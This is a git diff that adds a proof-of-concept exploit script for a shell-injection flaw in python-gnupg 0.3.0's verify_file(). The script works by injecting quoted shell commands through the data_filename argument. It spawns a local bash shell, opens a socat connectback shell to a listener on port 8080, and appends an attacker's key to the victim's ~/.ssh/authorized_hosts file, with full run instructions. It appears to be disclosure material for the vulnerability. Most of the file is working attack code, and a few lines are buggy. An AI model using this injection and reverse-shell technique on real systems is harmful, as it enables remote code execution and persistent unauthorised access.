summaryrefslogtreecommitdiff
path: root/docs/upstream-python-gnupg-POC-exploit.py
diff options
context:
space:
mode:
Diffstat (limited to 'docs/upstream-python-gnupg-POC-exploit.py')
-rw-r--r--docs/upstream-python-gnupg-POC-exploit.py120
1 files changed, 120 insertions, 0 deletions
diff --git a/docs/upstream-python-gnupg-POC-exploit.py b/docs/upstream-python-gnupg-POC-exploit.py
new file mode 100644
index 0000000..4bdc336
--- /dev/null
+++ b/docs/upstream-python-gnupg-POC-exploit.py
@@ -0,0 +1,120 @@
+#!/usr/bin/env python
+#-*- coding: utf-8 -*-
+'''
+python-gnupg-exploit.py
+-----------------------
+Remote code execution exploit for python-gnupg-0.3.0 gnupg.GPG.verify_file()
+with a simple connectback call to a waiting server. Written on a train,
+homeless in europe. Eurotrash like hell.
+
+You *absolutely* should run this in a virtualenv, and since this POC only runs
+on localhost, you should probably bring down all other network interfaces
+while playing with it, since by default it forks a connectback shell for every
+TCP connection to localhost:8080.
+
+To run this POC, you should obtain the source for python-gnupg, copy this file
+into the python-gnupg source directory, and then navigate into it:
+
+ $ sudo apt-get source python-gnupg
+ $ cd python-gnupg-0.3.0/
+ $ mv <path/to/this/file> ./
+
+To run the server half, do:
+
+ $ python ./python-gnupg-exploit.py mallory
+
+ it just listens on 8080 on localhost and lets you type stuff or pipe
+whatever you want into the connection. After that, in another terminal, you
+can do:
+
+ $ python ./python-gnupg-exploit.py alice
+
+ to run the the exploit, which connects to your waiting mallory server and
+forks off a shell in a separate process.
+
+You can exploit gpg.GPG.verify_file() by calling it with
+data_filename="\"<your_code>\"" and the inner set of escaped double quotes are
+important. You'll have to be tricky and find ways to not allow your code to
+contain spaces, but it's the default system shell running under the UID and
+GID of the parent caller for Python interpreter. It's even nicely in it's own
+threading.Thread(), provided by gnupg.GPG._collect_output().
+
+@authors: Isis Agora Lovecruft, 0x2cdb8b35
+ All of the other Leap Encryption Access Project Python developers
+@date: 7 February 2013
+@license: WTFPL, see [http://wtfpl.org/]
+@copyright: ? 2013 Isis Lovecruft
+'''
+
+from os import getcwd, path
+
+import gnupg
+import sys
+
+
+def usage():
+ """Because dying should be about sending a message."""
+ msg = "You need to download the source for python-gnupg before using this! "
+ msg += "Please try again after placing this file in the python-gnupg-0.3.0/"
+ msg += " directory. See the docstring for this file if you need more help."
+ msg += "\nExiting..."
+ raise SystemExit(msg)
+
+class Alice(object):
+ """Client code."""
+
+ def __init__(self, file=None):
+ here = getcwd()
+ self.gpg = gnupg.GPG(gnupghome=here)
+ self.log = path.join(here, 'alice.log')
+
+ if file is not None:
+ self.file = file
+ else:
+ ## this is probably equivalent to saying "eat your heart out,
+ ## gnupg"...
+ self.file = path.join(getcwd(), 'LICENSE')
+
+ def exploit(self, shellcode=None):
+ """POC example."""
+ bad = None
+ with open(self.file) as worse:
+ bad = self.gpg.verify_file(worse, shellcode)
+ return bad
+
+ def code_exec(self):
+ """This forks a local bash shell."""
+ self.exploit("\"&coproc /bin/bash\"")
+
+ def remote_code_exec(self):
+ """
+ You know that part in The Matrix where Neo is sleeping on his
+ keyboard, and then Trinity types stuff on his terminal? This does
+ that.
+ """
+ client = ("\"&`socat -d -d -d -d -lf " + self.log +
+ " - TCP-CONNECT:localost:8080,crnl`\"")
+ self.exploit(client)
+
+ def ssh_append(self):
+ """
+ This appends mallory's id_rsa.pub to alice's authorized_hosts file.
+ """
+ append = ("\"&`socat -d -d -d -d -lf " + alice_log +
+ " OPEN:" + path.expanduser('~/.ssh/authorized_hosts') +
+ ",creat,append,end-close " +
+ "TCP-CONNECT:localhost:8080,reuseaddr,retry=3,fork`\"")
+ self.exploit(append)
+
+if __name__ == "__main__":
+
+ ## don't run if they didn't follow the instructions:
+ here = getcwd()
+ if not here.endswith('python-gnupg-0.3.0'):
+ usage()
+ else:
+ print "To run the corresponding listener, in another shell do:\n"
+ print " $ socat -d -d -d -d -lf mallory.log - \ "
+ print " TCP-LISTEN:8080,reuseaddr,fork"
+ alice = Alice()
+ alice.remote_code_exec()